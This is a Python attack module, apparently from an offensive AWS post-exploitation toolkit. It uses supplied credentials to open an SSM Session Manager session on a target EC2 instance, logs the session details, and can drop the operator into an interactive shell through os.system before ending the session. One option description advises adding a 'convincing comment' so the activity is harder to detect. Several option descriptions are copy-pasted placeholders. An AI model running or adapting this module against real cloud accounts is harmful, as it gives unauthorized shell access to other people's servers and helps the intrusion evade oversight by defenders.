import boto3
from termcolor import colored
from datetime import datetime
import json
import sys
import os
import random, string

author = {
	"name":"gl4ssesbo1",
	"twitter":"https://twitter.com/gl4ssesbo1",
	"github":"https://github.com/gl4ssesbo1",
	"blog":"https://www.pepperclipp.com/"
}

needs_creds = True

variables = {
	"SERVICE": {
		"value": "ssm",
		"required": "true",
		"description":"The service that will be used to run the module. It cannot be changed."
	},
	"INSTANCE-ID": {
		"value": "",
		"required": "true",
		"description":"Another variable to set"
	},
	"DOCUMENT-NAME": {
		"value": "",
		"required": "false",
		"description":"The name of the SSM document to define the parameters and plugin settings for the session. For example, SSM-SessionManagerRunShell . You can call the GetDocument API to verify the document exists before attempting to start a session. If no document name is provided, a shell to the instance is launched by default."
	},
	"DOCUMENT-VERSION": {
		"value": "",
		"required": "false",
		"description":"The name of the SSM document to define the parameters and plugin settings for the session. For example, SSM-SessionManagerRunShell . You can call the GetDocument API to verify the document exists before attempting to start a session. If no document name is provided, a shell to the instance is launched by default."
	},
	"PARAMETER-FILE": {
		"value": "",
		"required": "false",
		"description":"The name of the SSM document to define the parameters and plugin settings for the session. For example, SSM-SessionManagerRunShell . You can call the GetDocument API to verify the document exists before attempting to start a session. If no document name is provided, a shell to the instance is launched by default."
	},
	"COMMENT": {
		"value": "",
		"required": "false",
		"description":"You can leave this empty, if you don't want to run a command. Even if you run, this is not necessary, but adding a convincing comment will make it harder to detect."
	},
	"TIMEOUT-SECONDS": {
		"value": "",
		"required": "false",
		"description":"The time to wait for a command to run. If this time is reached and the command has not already started running, it will not run."
	}
}
description = "Description of your Module"

aws_command = "aws ec2 describe-launch-templates --region {} --profile {}"

colors = [
	"not-used",
	"red",
	"blue",
	"yellow",
	"green",
	"magenta",
	"cyan",
	"white"
]

output = ""

def list_dictionary(d, n_tab):
	global output
	if isinstance(d, list):
		n_tab += 1
		for i in d:
			if not isinstance(i, list) and not isinstance(i, dict):
				output += ("{}{}\n".format("\t" * n_tab, colored(i, colors[n_tab])))
			else:
				list_dictionary(i, n_tab)
	elif isinstance(d, dict):
		n_tab+=1
		for key, value in d.items():
			if not isinstance(value, dict) and not isinstance(value, list):
				output += ("{}{}: {}\n".format("\t"*n_tab, colored(key, colors[n_tab], attrs=['bold']) , colored(value, colors[n_tab+1])))
			else:
				output += ("{}{}:\n".format("\t"*n_tab, colored(key, colors[n_tab], attrs=['bold'])))
				list_dictionary(value, n_tab)

def exploit(profile, workspace):
	global output
	try:
		now = datetime.now()
		dt_string = now.strftime("%d_%m_%Y_%H_%M_%S")
		file = "{}_ssm_start_session".format(dt_string)
		filename = "./workspaces/{}/{}".format(workspace, file)

		target = variables['INSTANCE-ID']['value']
		documentname = variables['DOCUMENT-NAME']['value']
		parameters = variables['PARAMETER-FILE']['value']
		params = {}
		args = {}
		if not target == "":
			args['Target'] = target
		if not documentname == "":
			args['DocumentName'] = documentname
		if not parameters == "":
			with open(parameters,'r') as pfile:
				params = json.load(pfile)
				args['Parameters'] = params

		arg = str(args).replace("'", "\"")
		args = json.loads(arg)

		response = profile.start_session(
			**args
		)

		del response['ResponseMetadata']
		json_data = response

		print(colored("---------------------------------", "yellow", attrs=['bold']))
		print(colored("{}: {}".format("Instance", target), "yellow", attrs=['bold']))
		print(colored("---------------------------------", "yellow", attrs=['bold']))
		for key,value in json_data.items():
			print("\t{}: {}".format(colored(key, "red", attrs=['bold']), colored(value, "blue")))
		print(colored("---------------------------------", "yellow", attrs=['bold']))

		with open(filename, 'w') as outfile:
			json.dump(json_data, outfile, indent=4, default=str)
			print(colored("[*] Session dumped on file '{}'.".format(filename), "green"))


		yn = input(colored("Session is up. Do you want to send commands? [Y/n]: ","yellow"))
		if yn == "":
			yn = 'Y'

		if yn == "Y" or yn == "y":
			try:
				sess_name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(6))
				command = "session-manager-plugin '{}' {} StartSession {} '{}' {}".format(
					json.dumps(response),
					profile.meta.region_name,
					sess_name,
					json.dumps(args),
					profile.meta.endpoint_url
				)

				os.system(command)

			except:
				e = sys.exc_info()
				print(colored("[*] {}".format(e), "red"))

			yn = input(colored("Session is up. Do you want to terminate it? [Y/n]: ", "yellow"))
			if yn == "":
				yn = 'Y'

			if yn == "Y" or yn == "y":
				try:
					terminate = profile.terminate_session(
						SessionId=response['SessionId']
					)
					del terminate['ResponseMetadata']
					print("{} '{}' {}".format(
							colored("Session", "green"),
							colored(response['SessionId'], "blue"),
							colored("was terminated.", "green"),
						)
					)
				except:
					e = sys.exc_info()[1]
					print(colored("[*] {}".format(e), "red"))
					print(colored("[*] Are you sure you can terminate?", "red"))

	except profile.exceptions.InvalidDocument:
		print(colored("[*] The document provided is not valid or does not exist.","red"))

	except profile.exceptions.TargetNotConnected:
		print(colored("[*] You cannot connect to the target. Either you have an internet problem, or the target might be shutdown/removed.", "red"))

	except:
		e = sys.exc_info()
		print(colored("[*] {}".format(e), "red"))